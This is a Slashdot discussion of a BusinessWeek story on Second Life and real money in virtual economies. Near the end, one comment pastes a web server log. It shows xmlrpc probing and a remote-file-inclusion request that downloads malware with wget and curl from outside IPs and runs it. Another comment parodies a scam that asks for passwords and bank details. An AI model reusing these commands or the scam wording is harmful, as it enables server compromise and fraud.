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Virtual World, Real Money

BusinessWeek's cover story for May 1st has to do with a little place called Second Life. BusinessWeek Online has several stories related to their exploration on online living. My Virtual Life is a first-time exploration of Second Life, with some examination of the property and financial aspects of the gameworld. It's Not All Fun and Games explores the serious side of virtual businesses, as they interview Ashne Chung (notable real estate baron) in a piece called Virtual Land, Real Money. Ed Castronova has his say in a more general article on virtual economies. Finally, for an outside perspective, the obligatory Terra Nova discussion is always useful.

128 comments

  1. I hereby by UniXY · · Score: 5, Funny

    stake this first post as virtual property... get with me after this and we can negotiate a pice.

    1. Re:I hereby by nelsonal · · Score: 3, Funny

      I'll give you two future second posts and a funny sig.

      --
      Degaussing scares the bad magnetism out of the monitor and fills it with good karma.
    2. Re:I hereby by OctoberSky · · Score: 2, Interesting

      You laugh, but I believe Slashdot User IDs have been sold before. I know there is one guy who bought a really low (maybe under 100, but probably 1000) on ebay. He posts here and every once in a while when someone posts "Listen to him check out his UID" The next post is another user showing how he bought that ID.
      It's then fun to watch him defend his position. Someone will follow this post with a relevant link.

    3. Re:I hereby by Hogwash+McFly · · Score: 2, Informative
      --
      Mother, do you think they'll like this sig?
  2. And yet, oddly enough by Anonymous Coward · · Score: 4, Interesting

    Second Life itself is, last I checked, still not making a profit. Funny, seems like Linden Labs are the only people unable to make money off of their own creation.

    1. Re:And yet, oddly enough by fridgemagnet · · Score: 1

      They just got $11 million in venture capital, so they're not going out of business soon.

    2. Re:And yet, oddly enough by Anonymous Coward · · Score: 0

      They were in the black earlier this year; whenever they get in the black, they start hiring en-masse. It's not so much a matter of not profitable, but that a fast growing company will end up spending a lot of money while it's growing. (Second Life, Linden Lab's chief product is growing at over 10%/month. (20%/mo new accounts, 10%/mo average online population)

    3. Re:And yet, oddly enough by Lordfly · · Score: 4, Informative

      They're growing, which is why they aren't making money. They're adding about a programmer every week or two, not to mention a ton of part-time liasons (in-world helpers) and support staff.

      If they stopped expanding their payroll they'd be in the black very quickly.

      --
      hookers and grits.
    4. Re:And yet, oddly enough by Anonymous Coward · · Score: 0

      Probably attempting to build market presence, they need more users to become profitable.

      Like youtube, they don't make any money yet, but since investors are keen on putting money in, they must know what they're doing.

    5. Re:And yet, oddly enough by soundofthemoon · · Score: 1

      seems like Linden Labs are the only people unable to make money off of their own creation

      Nope. Most people in Second Life don't make any money off of it. There are very few who make significant money there, and a mere smattering who can quit their day job to live off their virtual job. Linden Lab keeps changing the rules in SL to favor the businessfolks who are trying to make money in virtual businesses, but it's slow to build up an economy from scratch. And then there's the problem that when they shift things in favor of the businessfolk, it usually makes the game less attractive to people who aren't there to make money.

    6. Re:And yet, oddly enough by jfruhlinger · · Score: 5, Insightful

      Like youtube, they don't make any money yet, but since investors are keen on putting money in, they must know what they're doing.

      Where exactly were you between 1997 and 2000?

      jf

    7. Re:And yet, oddly enough by flyingsquid · · Score: 4, Interesting
      Second Life may not end up taking the world by storm, but it raises some interesting issues. What happens if the total value of goods and services in an online world- its gross domestic product (GDP)- starts exceeding that of, say, small African nations? That idea sounds laughable, but when you consider the billions of dollars involved in movies, music, and video games, it seems more like an inevitability than a possibility. Then what happens? If someone pisses off your Clan by using cheats, do you launch a war against their country, or just an embargo? I'm being a bit facetious here, but you could imagine that a large online community could potentially be a force to reckon with. They might be virtual, but their dollars are real, and that would give them power.

      The problem with creating artificial communities of course is that what starts out as a fun exercise in anarchy quickly starts needing rules, just like its real counterpart. Otherwise, people start abusing the system. Multiplayer FPS quickly lose popularity when you've got a handful of people using cheats, and as the reporter found, it's kind of annoying when someone decides to build on top of the virtual property you bought. So you need systems to keep stuff in check, feedbacks like Slashdots moderation system, or something analogous. Of course, if it goes too far with the regulation and ordering, then you're right back where you started: a highly restrictive environment, which is what you went online to get away from.

    8. Re:And yet, oddly enough by XXgamerXX · · Score: 1

      This is great stuff. while SL might not be turning a profit YET, it shows the potential for companies to participate in the commercial side of the virtual world. I think there's money to be made here. A colleague saw a presentation by John Seely-Brown a couple weeks back that spoke to this referenced in this post: http://mondaymorning.typepad.com/monday_morning/

    9. Re:And yet, oddly enough by Jesrad · · Score: 1

      Where and when did you "last check" ? I know from the public comments of various LindeLab employees that SecondLife is returning a profit for them. I agree that the company, in its entirety, is losing money, but their main product is beneficial.

      --
      Maybe we deserve this world ?
    10. Re:And yet, oddly enough by SilverJets · · Score: 1

      Probably not making a profit because it is not worth paying for. Terrible game play and terrible interface.

    11. Re:And yet, oddly enough by iocat · · Score: 1

      Eating at these awesome restaurants in San Francisco! It was excellent! Those investors have **awesome** taste in food! Mmmm... Bix, 42, Boulevard... yum city.

      --

      Dude, I think I can see my house from here.

    12. Re:And yet, oddly enough by patio11 · · Score: 3, Funny
      Second Life may not end up taking the world by storm, but it raises some interesting issues. What happens if the total value of goods and services in an online world- its gross domestic product (GDP)- starts exceeding that of, say, small African nations?

      Dear Sir or Madam,

      My name is Humbert Rumpledunk and I am a successful Real Estate Baron on Second (2nd) Life. Recently I sold property worth One Hundred Million Linden Dollars (L$100,000,000,000.00). However, because of a computer error, I am unable to withdraw the funds properly. If you ingame message me your user name, password, and bank information, I will send your account the money, withdraw it, and electronically transfer 90% to me, leaving you 10% (Ten Million Linden Dollars) as a fee for service. Your discretion is requested.

    13. Re:And yet, oddly enough by PostItNote · · Score: 1

      Everquest is already there.

    14. Re:And yet, oddly enough by Clifton+Beach · · Score: 1

      Of course, if it goes too far with the regulation and ordering, then you're right back where you started: which is what you went online to get away from.

      No problem - Just go login to the over-regulated, mundane world of Second Life, turn on your virtual PC, & sign up here.

      --
      42 hidden comments
    15. Re:And yet, oddly enough by Sheriff+of+Rockridge · · Score: 1

      Very good point.

      Once money is involved, people have a vested interest in doing well within the game. This breeds creativity. Unfortunately, much of this creativity is used toward finding other ways of making money that are easier than actually working for it. This is human nature; it can't be avoided. Now there exist thousands of people trying to make real money in a virtual environment. This is scary.

      It is scary because the virtual environment doesn't have the same controls that the real world has (Physics, for instance). And most of the controls that it does have are probably imperfect. The most obvious example is death and physical pain. Think about how many choices are made in the world directly to avoid death or physical pain. This doesn't exist in Second Life. Also, there is law enforcement. If this is truly an anarchistic society, then laws don't exist. That include game rules. If i don't like another player, I should be able to kill him (within the game). The scariest part to me is that there will be these abstract indecisive gods (game moderators/administrators) who actually control everything and stop the society from developing and working on its own.

      Also, what if the power goes out and all their servers crash or are destroyed? Playing this game requires A LOT of trust in the people running it. Personally, I think it's a fascinating experiment in human nature and economics (though a flawed one), but there's no way I'm going to give them any of my money.

    16. Re:And yet, oddly enough by Anonymous Coward · · Score: 0

      Wow, numbers like that just from 617 data points! Color me amazed. (and the entire endeavor pretty meaningless)

      It would be interesting (possibly even worthy of mentioning?) if you could get a MMORPG with real volume to tabulate some of this based on a semi-realistic data set though - or just rip it out of the player or dev level clients directly. . .

    17. Re:And yet, oddly enough by joshv · · Score: 1

      There is a simple answer to that problem. Taxes! Add a VAT tax an all their funding problems are solved.

  3. Snowcrash by ecklesweb · · Score: 4, Insightful

    Man, I need to go back and re-read Snowcrash. Apparently the metaverse is upon us. (I guess that's a blinding flash of the obvious).

  4. Since I can't afford to live in meatspace... by Anonymous Coward · · Score: 4, Funny

    ...what's the price of a condo in a decent online community? I'm considering emigrating; looking for a good neighbourhood, easy commute and reasonable taxes.

    1. Re:Since I can't afford to live in meatspace... by Anonymous Coward · · Score: 0

      I wanna immigrate as well, but I keep getting caught trying to sneak across the virtual border.

  5. This is downright scary. by XorNand · · Score: 5, Insightful

    This says something pretty significant and deeply disturbing about society yet the article seems to have glazed over it. Second Life has no point, it's not just a game. It's a reality that simply exists, it's the participants that determine everything--just like real life. People are escaping their own lives, why? Because they feel trapped? Trapped by what? The mindless and meaningless jobs that they hold down working for a multinational corporation. The incessant reminder that they need more material goods to be happy. That they aren't as beautiful as the people on TV. Aldous Huxley seems to have been a visionary. Now corporations are looking to tap into this phenomemon? Holy shit! In my opinion, this trend is more scary than DRM ever could be.

    --
    Entrepreneur : (noun), French for "unemployed"
    1. Re:This is downright scary. by Lordfly · · Score: 3, Insightful

      What's so wrong about wanting to live/play/pretend that you're somebody else? Don't you daydream?

      --
      hookers and grits.
    2. Re:This is downright scary. by demonbug · · Score: 1

      The mindless and meaningless jobs that they hold down working for a multinational corporation.

      Because we all know that multinationals have a monopoly on mindless and meaningless make-work ;)

      Holy shit, corporations are looking to tap into the desire to escape from the daily workplace? Somebody tell Nintendo!

    3. Re:This is downright scary. by Kesh · · Score: 1

      On the flip side: this is an easy way for people to communicate with others they may never have met before. It allows them to share ideas, debate and generally interact with social groups they otherwise might never have found in their local communities.

      It provides a creative outlet for those who want to build something, but might not have formal training in art or computer programming. For those that do, it gives them a virtually global showcase of their talents, which can translate into some real-world notoriety.

      Finally, it's just plain fun to walk around in a virtual world as a giant pumpkin, if one wants.

    4. Re:This is downright scary. by Wellington+Grey · · Score: 0

      Trapped by what? The mindless and meaningless jobs that they hold down working for a multinational corporation.

      Perhaps then we should focuse more energy on making work less mindless and meaningless. Most of the people I talk to in the business world reveal they are seriously depressed, if pressed hard enough, because they know their work is meaningless.

      -Grey

    5. Re:This is downright scary. by Anonymous Coward · · Score: 0

      Trapped by what?

      The laws of physics, mostly.

    6. Re:This is downright scary. by XorNand · · Score: 4, Interesting

      Because it distracts you from the things that trully matter--um, like reality. You're volunteering yourself for Plato's cave (or the Matrix). Can you really not see how that is bad?

      From a more pragmatic point of view: Imagine that you're working really hard to build a business in Second Life. You've spent hours doing so, and it's finally taken off. Now the publisher discontinues the world, or decides that it'll automatically take a 50% cut of your profits, or that it'll transfer your business to another character, etc. Maybe Taco Bell paid off the publisher and now all of your virtual products have a Taco Bell logo on them. Or maybe your computer dies, or you forget your password... Get my point?

      If people are that malcontent slaving away for someone else that they have to start their own virtual business to regain a sense of control over their life, then they need to grow some balls and start their own real-life business. Sorry, but I have no respect for these Soma-addicts who prefer to play out thier lives within a safe, little, virtual sandbox. Every hour spent in their virtual life is an hour wasted of their real life.

      --
      Entrepreneur : (noun), French for "unemployed"
    7. Re:This is downright scary. by Anonymous Coward · · Score: 0

      If you play any games, watch tv/movies, or read (or countless other things) you must have no respect for yourself.

    8. Re:This is downright scary. by Lordfly · · Score: 3, Insightful

      I guess I'm still missing the point. The economy works in SL just like the real world. There exists demand from consumers. You go in and fill that need, and make money.

      Assuming you're doing it for the hell of it, it's fun, and thus doesn't feel like work. Your hobby soon sustains itself, and maybe gets you a few extra bucks on the side. If you really get into your hobby, it can make a sizable contribution to your income.

      That's what most "businesses" in SL are; hobbyists who are passionate about their playtime making a few extra bucks on the side (that's me currently) The real big-money businesses are content teams doing contract work for real world firms (Wells-Fargo is one, for instance) to build prototypes and locations inworld for more RL business things. They're analogous to consultants in the real world. The economic benefits of consultants are best discussed another time. :)

      --
      hookers and grits.
    9. Re:This is downright scary. by drinkypoo · · Score: 1

      People are escaping their own lives, why?

      It's "glossed over" in TFA because it's a non-starter. People have been escaping from reality ever since there's been escapes from reality - which means forever. Even daydreaming is an escape from reality. Then there was booze, probably in the form of rotting fruit. Sometime later, mankind must have discovered inherently psychoactive plants.

      Fast-forward slightly, and you will discover storytelling, which led to oral tradition. Writing, which led to novels. Now there's radio, television, video games, designer drugs, themed nightclubs, and recreational sex. All escapes from reality. (Well, recreational sex has likely been around a long time, but the current conception of it is pretty different.)

      At least the people on Second Life have a chance to explore reality in a contained environment. Sure, it's not the same as reality, but it harbors many of the same concepts - just like Alpha Centauri isn't reality, but it does teach you that building on the coast is really great until sea levels rise dramatically due to global warming :)

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    10. Re:This is downright scary. by tddoog · · Score: 1
      I don't think this situation is different than the past. The only new thing about this is that people have a different way to express themselves. Previously people have accomplished a similar sort of escapism through books, drugs, art, video games, and even real world "second" lives.

      Escapism may be more exacerbated now because a lot of people have more time/money on their hands and they no longer have to eek out an existence like prior to the industrial revolution. 0.02

    11. Re:This is downright scary. by hal9000(jr) · · Score: 1

      Every hour spent in their virtual life is an hour wasted of their real life.

      Or maybe, just maybe, they are having FUN. Shockers.

      Not everything is attached to a a moral imperative and not everyone is escaping some bad life. Sheesh. Lighten up.

    12. Re:This is downright scary. by Wellington+Grey · · Score: 0

      Every hour spent in their virtual life is an hour wasted of their real life.

      So what are you doing wasting your life on slashdot then, Mr. High and Mighty?

      -Grey

    13. Re:This is downright scary. by pla · · Score: 4, Interesting

      What's so wrong about wanting to live/play/pretend that you're somebody else? Don't you daydream?

      Nothing... I enjoy a little escapist fantasy myself, whether watching Star Trek or role-playing a dwarf with a big axe and a bigger beard. Nothing wrong there... Not productive, but at least entertaining.

      But 2L satisfies neither the "escape" nor "fantasy" part of that. Just trading one mundane dog-eat-dog existance for another, without even the perk of entertainment. And you can't even call it an even trade, because while trudging along in "real life" might get you fed, sheltered, and offspring, no amount of success in Second Life will keep you alive and viable.

      So yeah, I'd certainly call it scarily unhealthy that people will trade an unsatisfying life for an unsatisfying non-life...

    14. Re:This is downright scary. by pieinthesky · · Score: 1

      Honestly, I love the idea. It's like voluntary jail for the socially incapable.

    15. Re:This is downright scary. by Is0m0rph · · Score: 2, Interesting

      It's nothing more than a glorified chat room. Years ago people would waste tons of time sitting on IRC chatting. Now they at least get to do something creative while wasting time.

    16. Re:This is downright scary. by Anonymous Coward · · Score: 0

      Ah you must one of those beggars in IF I run into...

    17. Re:This is downright scary. by Lordfly · · Score: 3, Informative

      I guess. After coming home from work or university, I can grab a beer, sit down, listen to some Beethoven, and build a virtual house. Then I can plop the house into a box and sell it, and put it in a virtual "shop". Eventually somebody enjoys the house enough that they buy it. Over time, the house pays me handsomely for the time "invested" in me "working" on the house. Which is silly, because I built the house for fun in the first place.

      Some folks watch TV, I doodle around in a collaboritive building environment. To each their own. :)

      --
      hookers and grits.
    18. Re:This is downright scary. by pieinthesky · · Score: 1
      Plato's cave? Come now. I know what you are trying to get across here, but I don't think Plato is entirely relevant. Plato's point was that THIS life (the first one, not the second) is the shadow and only the enlightened may know the true nature of life. Are you referring to a shadow of a shadow? Or maybe the second life is reality?



      Why try to convince others? You live as you will, and others can waste their time and live to regret it when they are 80, or maybe not.

    19. Re:This is downright scary. by Anonymous Coward · · Score: 0

      Welcome to slashdot!

    20. Re:This is downright scary. by nine-times · · Score: 1

      What's really scary is that, apparently, people's lives seem pointless and repetitive in comparison to a MMOG.

    21. Re:This is downright scary. by Anonymous Coward · · Score: 0
      (Well, recreational sex has likely been around a long time, but the current conception of it is pretty different.)

      I would like to nominate your reply as a candidate for the 'pun of the day'-award :D

    22. Re:This is downright scary. by flyingsquid · · Score: 0, Redundant
      But 2L satisfies neither the "escape" nor "fantasy" part of that. Just trading one mundane dog-eat-dog existance for another, without even the perk of entertainment. And you can't even call it an even trade, because while trudging along in "real life" might get you fed, sheltered, and offspring, no amount of success in Second Life will keep you alive and viable.

      Yes, but if Second Life sucks you could easily solve that by creating a network of virtual computers inside Second Life where the avatars could go to get away from their mundane online existence!

    23. Re:This is downright scary. by ocelotbob · · Score: 1

      I don't get on SL much, much of it due to the crappy support for non-windows machines, but I've got good friends who spend time on it. One of them does it for the free-form roleplay it allows; she's been spending a lot of time in a "Silent Hill"-esque type sim. In real life, she's got lots of friends, and is not trapped by a dead end job. She does it because it's fun, and because she gets to do things that are simply impossible in real life. Trust me, not everyone in these games are in it to live like the beautiful people; some are in there to just have fun.

      --

      Marxism is the opiate of dumbasses

    24. Re:This is downright scary. by networkBoy · · Score: 1

      ever seen the 13th floor?

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
    25. Re:This is downright scary. by networkBoy · · Score: 1

      Right, so what none of you realise is that due to the court ruling that it's ok to play on the internet rather than work, you can thus start your secondlife existance and couple it with the boring mundane existance that is work. The balence of life is preserved and you still have your "real life" available when you get out of the office :-)

      -nB

      Man I wish that would really fly...

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
    26. Re:This is downright scary. by the+phantom · · Score: 1
      Just a couple of quick notes about your timeline:

      • Recreational sex probably came first. Bonobos, which are generally considered to be far less evolved than humans, practice a great deal of recreational sex. It is a tool used by groups of bonobos to relieve tension, and create social bonds. As humans are more closely related to bonobos than just about any other animal, it is likely that early humans practiced similar behaviours (similar, not identical).
      • Oral traditions probably came next. I can't think of any example of a society without any kind of oral traditions. Most models expect storytelling to occur with the development of language. So, stories-as-escapism probably came fairly early on in human development.
      • After that, psychoactive plants probably came along. They are easy to harvest, and easy to discover. It is very likely that the discovery of psycoactive plants predates agriculture, thus alcohol. Many, many "primative" societies discovered such plants.
      • Finally, alcohol. Alcohol was probably (like most things) and accidental discovery, and likely was not discovered until after agriculture was possible. The time needed to ferment alcohol, the grains needed to make it (or fruits), and the craft specialization required imply that alcohol was a relatively late discovery.
    27. Re:This is downright scary. by SatanicPuppy · · Score: 1

      Am I the onyl one who used global warming as a WMD in that game? If you got yourself a dome, it didn't bother your bases at all, but the computer often wasn't smart enough to read it's impending doom in the rising waters.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    28. Re:This is downright scary. by NineNine · · Score: 2, Insightful

      Instead of pretending, you should just do it. It's that simple. No, you can't be a dwarf with an axe, but life doesn't have to consist of a job in a cubicle and a shitty, generic apartment in the suburbs, with dinner at a Subway. The only problem is that it takes balls to live life the way you want it, and the VAST majority of people have no balls to speak of.

    29. Re:This is downright scary. by Anonymous Coward · · Score: 0
      Instead of pretending, you should just do it. It's that simple. No, you can't be a dwarf with an axe, but life doesn't have to consist of a job in a cubicle and a shitty, generic apartment in the suburbs, with dinner at a Subway. The only problem is that it takes balls to live life the way you want it, and the VAST majority of people have no balls to speak of.
      Summary: "Avoid escapism," says the guy advertising his free-porn database.
    30. Re:This is downright scary. by KronicD · · Score: 1

      Dude, try the linux alpha client http://secondlife.com/community/linux-alpha.php it runs *really* well, much faster than the windows version :) -- assuming you have an nvidia graphics card.

      --
      "Those who would give up Essential Liberty, to purchase a little Temporary Safety, deserve neither Liberty nor Safety"
    31. Re:This is downright scary. by ocelotbob · · Score: 1

      That's part of the problem. I'm using an ATI video card. Additionally, I spend a lot of time on a mac, and the engine is slow as fuck there.

      --

      Marxism is the opiate of dumbasses

    32. Re:This is downright scary. by Anonymous Coward · · Score: 0

      What are you a prude FAG!!!? Get off your high horse, put down your ho-ho, and go do something productive. What a FAG!!!

    33. Re:This is downright scary. by xenoandroid · · Score: 1

      "Now the publisher discontinues the world, or decides that it'll automatically take a 50% cut of your profits, or that it'll transfer your business to another character, etc. Maybe Taco Bell paid off the publisher and now all of your virtual products have a Taco Bell logo on them. Or maybe your computer dies, or you forget your password... Get my point?"

      Now a giant rock crashes into earth killing everything, or your government becomes corrupt using weapons to control you so that they can take 50% of your income, or transfer your business to another individual, etc. Maybe corperations start taking over everything and start putting their logos on everything and in every movie. Or maybe you die, or maybe you get in a crippling accident... Get my point?

      Sorry but it's not up to you to tell people how they should live their lives. I have no respect for people who have neither the compassion to understand these types of people or the openmindedness to accept it. They're not doing you any harm so why does it mean anything to you? If you want to argue that people should just accept the cards they're delt, then I can argue against you by pointing out that there are a lot of people living to day who would not be if it had not been for scientific and/or technical developments.

    34. Re:This is downright scary. by xenoandroid · · Score: 1

      Bullshit, not everyone is born with equal opportunity to be what they want. You can try but a huge part of what you experience in life is dependant on other people. If they don't cooperate for one reason or another then you're out of luck in the real world, wether it's because of your history, how you look, disabilities, economic/social class, race/ethnicity, sex, or orientation.

    35. Re:This is downright scary. by obsol33t · · Score: 1

      "or your government becomes corrupt using weapons to control you so that they can take 50% of your income"
      That sure would be scary, I hope that it never happens to.... oh wait!

      Here are the top federal income tax brackets from http://en.wikipedia.org/wiki/Tax_bracket/:

      US: 35%: $326,451 and above
      UK: 40%: from £32,400 and above
      NZ: 39% above $60,001
      Canada: 29% above $118,285
      Australia: 47%: $95,001 and above

    36. Re:This is downright scary. by obsol33t · · Score: 1
    37. Re:This is downright scary. by Jesrad · · Score: 1

      Just trading one mundane dog-eat-dog existance for another, without even the perk of entertainment.

      Ah, yes, riding a gryphon to meet elven friends, making space cruisers appear out of thin air, hunting dinosaurs with meteorite rain spells and flying a Pelican Dropship over high tech physically-impossible buildings is just so mundane.

      --
      Maybe we deserve this world ?
    38. Re:This is downright scary. by Anonymous Coward · · Score: 0

      If people are that malcontent slaving away for someone else that they have to start their own virtual business to regain a sense of control over their life, then they need to grow some balls and start their own real-life business. Sorry, but I have no respect for these Soma-addicts who prefer to play out thier lives within a safe, little, virtual sandbox. Every hour spent in their virtual life is an hour wasted of their real life.

      Talk about harsh - ever hear of playing games as a hobby? Sheesh.

    39. Re:This is downright scary. by Sheriff+of+Rockridge · · Score: 1

      How is a virtual world any different? You are running away from hard times in the real world to start anew (sorta) in a virtual world. What if you also have bad luck in the virtual world? Go to another virtual world? Keep running?

      I'm speaking generally. There are always exceptions, but I think at most the virtual world should be a short vacation from life, not a replacement.

    40. Re:This is downright scary. by master_p · · Score: 1

      Imagine a society that has Holodecks! have you seen that episode of Star Trek - TNG that lt Barcley spends more and more time in the Holodeck, being a hero and dating the female members of the crew?

      As the population grows, it gets increasingly difficult to be special in a domain. The competition gets harder, as there are many more competitors at the level of being average. Economy gets tougher, with globalization and such, increasing the chances of being without a job for a longer period of time, thus increasing stress and nervousness.

      Therefore more and more people choose to escape to something that not only entertains them, but it makes them fill unique or special or strong...

    41. Re:This is downright scary. by pla · · Score: 1
      Ah, yes, riding a gryphon to meet elven friends, making space cruisers appear out of thin air, hunting dinosaurs with meteorite rain spells and flying a Pelican Dropship over high tech physically-impossible buildings is just so mundane.

      Do you do those things IRL? Because, if 2L has them, their entire advertising team needs a good round of sulphuric acid enimas. Their web-site shows only an ego-graffiti-littered map that makes SC2000 look like high-quality rendering, with a ton of "events" that the following example seems to best summarize the low:
      Yard Sale--A Fake One. That's right...come on down to "Linda's Resale and Eternal Indoor Yard Sale" for a 100% fake yard sale. This isn't a yard sale; it's a business--just like all those other fake yard sales that are really businesses.
      Woo woo, where can I sign up to make the meter on the left side of the page spin faster (Y'know, the "our suckers have spent this much real US cash here today" meter?)

      C'mon... A "game" that seems to consist entirely of interior decorating, fake yard sales, and real-estate(???) speculation?


      "Coming soon - Sim Algebra 1! Relive all those exciting moments from your past, with an imaginary twist! Solve for X! Factor polynomials! Take midterms!"
    42. Re:This is downright scary. by Peganthyrus · · Score: 1

      *shrug* It's a place where I can fool around and look like this or this or this.

      On the other hand, I don't go there much except for spates of avatar-hacking, because my laptop doesn't run it too well, and the conversation UI is like a bad IRC client. I'd rather go to SL and make something myself than go to WoW and endlessly grind to make a few numbers increase on a server, though.

      --
      egypt urnash minimal art.
    43. Re:This is downright scary. by Anonymous Coward · · Score: 0

      From a more pragmatic point of view: Imagine that you're working really hard to build a business in Real Life(tm). You've spent thousands of hours doing so, and it's finally taken off. Now the Government causes World War III, or decides that it'll automatically take a 50% cut of your profits, or that it'll "nationalize" your business, etc. Maybe Donald Trump paid off the local planning commission and now all of your buildings have been seized by eminent domain for use as a casino parking lot. Or maybe you die, or you forget your social security number... Get my point?

      "If people are that malcontent [sic] slaving away for someone else... they need to grow some balls and start their own real-life business." Err, you've never actually RUN a business, have you?

      Just remember, every hour spent in real life is an hour wasted of your virtual life. ;)

    44. Re:This is downright scary. by Anonymous Coward · · Score: 0

      Hit the nail on the head.

      A couple friends of mine had signed up to try this game back when it was $10. It was neat for awhile but after awhile it got old. I thought it was much harder to build than in WorldCraft (Half-Life's original level editor) and the scripting documentation left alot to be desired. Wanted some sort of vehicle to mess around with but inflation had already taken a firm hold and I wasn't interested in aimlessly grinding to a million bucks or whatever for a scooter. But, hey, I've felt worse about money spent before so no big deal.

      Fast forward about a year and one of those friends asks me to try it again. I think what strikes me most is how poorly it still runs a full GB of RAM later. For every neat structure out there, there're a dozen eyesores. And it's still expensive and the documentation still isn't there. How people make real money, let alone why you'd pay the price for land, is beyond me. Eh, I don't know, maybe I'll pop back in a couple months down the road and see what's up but, yeah, I agree it's not the super-hot phenomenon the media likes to hype it as.

    45. Re:This is downright scary. by Lord_Dweomer · · Score: 1
      "Because it distracts you from the things that trully matter--um, like reality. You're volunteering yourself for Plato's cave (or the Matrix). Can you really not see how that is bad?"

      Allow me to play Devil's Advocate and explore your point (while ignoring the more practical side of the legal issues regarding virtual worlds).

      As a scientifically minded person, I subscribe to the belief that what we consider "reality" is all a matter of perception. It is in essence what our brain tells us it is. Thus, in a way, virtual worlds can offer us many, if not eventually all of the experiences of "real life". So then my question becomes...who are you to determine what REALLY matters? If life is what you make of it, by setting your own goals and striking out on your own path, then it is really up to every individual to determine whether "reality" matters more than virtual reality.

      Now, I know this may be an uncomfortable thought for many older people here as younger generations are adopting a much different view of life where their virtual lives play just as important a role as their "real" lives (if not more so). And while on the surface it seems like it may just be the geeks...there's also the MILLIONS of teens who's lives are increasingly becoming enveloped by MySpace and Facebook, etc. And while these are not virtual worlds in the normal sense, once technology improves and true virtual reality becomes mainstream, I think it will be quite common for people to view their online lives with increasing importance.

      --
      Buy Steampunk Clothing Online!
    46. Re:This is downright scary. by xenoandroid · · Score: 1

      Doesn't matter if it's already true, the fact remains that you're just as at the mercy of uncontrollable events in real life as you are in some company's virtual world.

    47. Re:This is downright scary. by xenoandroid · · Score: 1

      Most virtual worlds are a little more 'fair' in that everyone starts with the same thing (or same number of options).

      If the player wants to 'keep running' that's up to them. My main concern is the obsession with making demands about how everyone should spend their limited life time when you have no relation to them.

      You know what, if you care that much about other people, perhaps you should work on trying to make the real world a better place for them instead of just demanding that they stop. Otherwise learn to accept it.

      It's really not that hard help those in your immediate community if you actually have the will to do so, certainly rejecting them isn't going to change anything.

  6. got a link for that? by JeanBaptiste · · Score: 1

    I'd be curious to see, because for what they're charging I don't see how theyre not making money

  7. I found a better online game by coldtone · · Score: 5, Funny

    I have found a way better game to play online. It's a lot more challenging and fun then Wow, Second life, or Ever quest combined! This online game also allows you to earn real money!

    It's called running an online business. You can pick from a range of class types, (blogger, storekeeper, programmer) or create your own!

    The game content is simply amazing! It is virtually infinite, and changes daily!

    You can play as much or as little as you want. Spend an hour, a day or an hour a week, it's up to you!

    I've been playing for a few months now and its a blast! Check out my avatar cl1p!

    1. Re:I found a better online game by eison · · Score: 1

      Yeah, but the 'hacked by chinese!' griefers sure get old quick.

      --
      is competition good, or is duplication of effort bad?
    2. Re:I found a better online game by sootman · · Score: 1

      And have you been avoiding this kind of game because you like fighting and think there isn't any? Au contraire--running your own business involves tons of fighting! The first game you learn is called "looking at how people are abusing your box by reading Apache's access_log and error_log"

      An example of the action with access_log:

      69.224.108.166 - - [04/Apr/2006:05:04:06 -0400] "POST /xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:06 -0400] ";exit;/*" 501 - "-" "-"
      69.224.108.166 - - [04/Apr/2006:05:04:07 -0400] "POST /blog/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:07 -0400] ";exit;/*" 501 - "-" "-"
      69.224.108.166 - - [04/Apr/2006:05:04:07 -0400] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:08 -0400] ";exit;/*" 501 - "-" "-"
      69.224.108.166 - - [04/Apr/2006:05:04:12 -0400] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:13 -0400] ";exit;/*" 501 - "-" "-"
      69.224.108.166 - - [04/Apr/2006:05:04:13 -0400] "POST /drupal/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:14 -0400] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:19 -0400] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:19 -0400] "POST /xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:22 -0400] ";exit;/*" 501 - "-" "-"
      69.224.108.166 - - [04/Apr/2006:05:04:24 -0400] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:28 -0400] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:29 -0400] ";exit;/*" 501 - "-" "-"
      69.224.108.166 - - [04/Apr/2006:05:04:29 -0400] "GET /index2.php?option=com_content&do_pdf=1&id=1index2 .php?_REQUEST[option]=com_content&_REQUEST[Itemid] =1&GLOBALS=&mosConfig_absolu
      te_path=http://69.17.157.154/cmd.txt?&cmd=cd%20/tm p;wget%2070.168.74.193/strange;chmod%20744%20stran ge;./strange;cd%20/var/tmp;curl%20-o%20arts%20http ://207.90.211.54/arts;chmod%207
